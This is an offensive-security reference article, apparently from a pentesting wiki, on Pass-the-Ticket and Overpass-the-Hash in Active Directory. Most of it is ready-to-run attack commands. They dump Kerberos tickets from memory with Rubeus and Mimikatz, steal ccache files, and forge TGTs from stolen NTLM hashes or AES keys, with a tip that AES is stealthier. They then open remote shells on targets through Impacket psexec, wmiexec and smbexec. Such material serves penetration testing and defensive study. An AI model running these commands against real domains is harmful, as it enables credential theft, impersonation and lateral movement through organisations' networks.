Skip to content
HackIndex logo

HackIndex

Pass-the-Ticket and Overpass-the-Hash

4 min read Jul 10, 2026

Pass-the-Ticket injects a stolen or forged Kerberos ticket into a session to authenticate as another user without knowing their password. Overpass-the-Hash converts an NTLM hash into a Kerberos TGT, giving you a ticket-based session from a hash. Both techniques are standard lateral movement paths in AD environments.

For forged tickets (Golden and Silver), see https://hackindex.io/platforms/active-directory/exploitation/golden-ticket-silver-ticket.

Stealing Tickets from a Compromised Host

From Linux: dump cached tickets from LSASS or from a ccache file on a compromised system. If you have a shell on a Linux host joined to the domain, ccache tickets are stored in /tmp/:

┌──(kali㉿kali)-[~]
└─$ ls /tmp/krb5cc_*

Copy the file to your attack box and set the variable:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/tmp/krb5cc_1000

From Windows with Rubeus: dump all tickets in memory:

PS C:\Users\Guest\Desktop> Rubeus.exe dump /nowrap

Dump tickets for a specific service:

PS C:\Users\Guest\Desktop> Rubeus.exe dump /service:krbtgt /nowrap

The base64 ticket blob in the output can be injected directly.

From Windows with Mimikatz: export tickets as .kirbi files:

mimikatz # sekurlsa::tickets /export

This drops .kirbi files to disk for every active Kerberos session. Look for [0;XXXXXX]-2-0-40e10000-Administrator@@krbtgt-DOMAIN.LOCAL.kirbi, that is a TGT.

Converting Tickets Between Formats

Impacket tools on Linux consume .ccache format. Rubeus and Mimikatz on Windows use .kirbi. Convert between them:

┌──(kali㉿kali)-[~]
└─$ impacket-ticketConverter ticket.kirbi ticket.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-ticketConverter ticket.ccache ticket.kirbi

Using a Ticket on Linux

Set KRB5CCNAME to the path of your .ccache file, then use any Impacket tool with -k -no-pass:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/path/to/ticket.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/$USER@$TARGET_IP -k -no-pass
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -k -no-pass
┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/$USER@$TARGET_IP -k -no-pass

Use the hostname rather than the IP when possible, Kerberos authentication is hostname-based and may fail against raw IPs depending on configuration. Add the target to /etc/hosts if needed:

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP hostname.$DOMAIN" >> /etc/hosts

Injecting a Ticket on Windows with Rubeus

Inject a base64 ticket directly into the current session:

PS C:\Users\Guest\Desktop> Rubeus.exe ptt /ticket:<base64blob>

Inject from a .kirbi file:

PS C:\Users\Guest\Desktop> Rubeus.exe ptt /ticket:ticket.kirbi

Verify the injection worked:

┌──(kali㉿kali)-[~]
└─$ klist

After injection, access resources natively with standard Windows tools, dir \\target\C$, PsExec, PowerShell remoting, etc.

Overpass-the-Hash

Overpass-the-Hash converts an NTLM hash into a Kerberos TGT. Use this when you have a hash from secretsdump or Mimikatz and want a Kerberos session rather than an NTLM-based one.

With Rubeus: request a TGT using the NT hash:

PS C:\Users\Guest\Desktop> Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /domain:$DOMAIN /dc:$TARGET_IP /ptt

With an AES256 key (stealthier, matches normal ticket encryption):

PS C:\Users\Guest\Desktop> Rubeus.exe asktgt /user:$USER /aes256:$AES256KEY /domain:$DOMAIN /dc:$TARGET_IP /ptt

/ptt injects the ticket into the current session immediately. Omit it to save the ticket to disk as a .kirbi instead.

With Impacket: request a TGT and save as ccache:

┌──(kali㉿kali)-[~]
└─$ impacket-getTGT $DOMAIN/$USER -hashes :$NTHASH -dc-ip $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=$USER.ccache

Then use the ticket with any Impacket tool as shown above.

With Mimikatz: spawn a new process under the impersonated identity:

mimikatz # sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$NTHASH /run:cmd.exe

This opens a new cmd.exe with the impersonated user's Kerberos identity. Standard Windows tools in that window will use the Kerberos ticket.

Requesting a TGT from a ccache Ticket

If you already have a TGS or a partial ticket and need a full TGT for further use:

PS C:\Users\Guest\Desktop> Rubeus.exe tgtdeleg /nowrap

This uses the current session's Kerberos context to request a usable TGT via the delegation mechanism, useful when you are on a machine as a service account and need to extract a TGT for that account.

References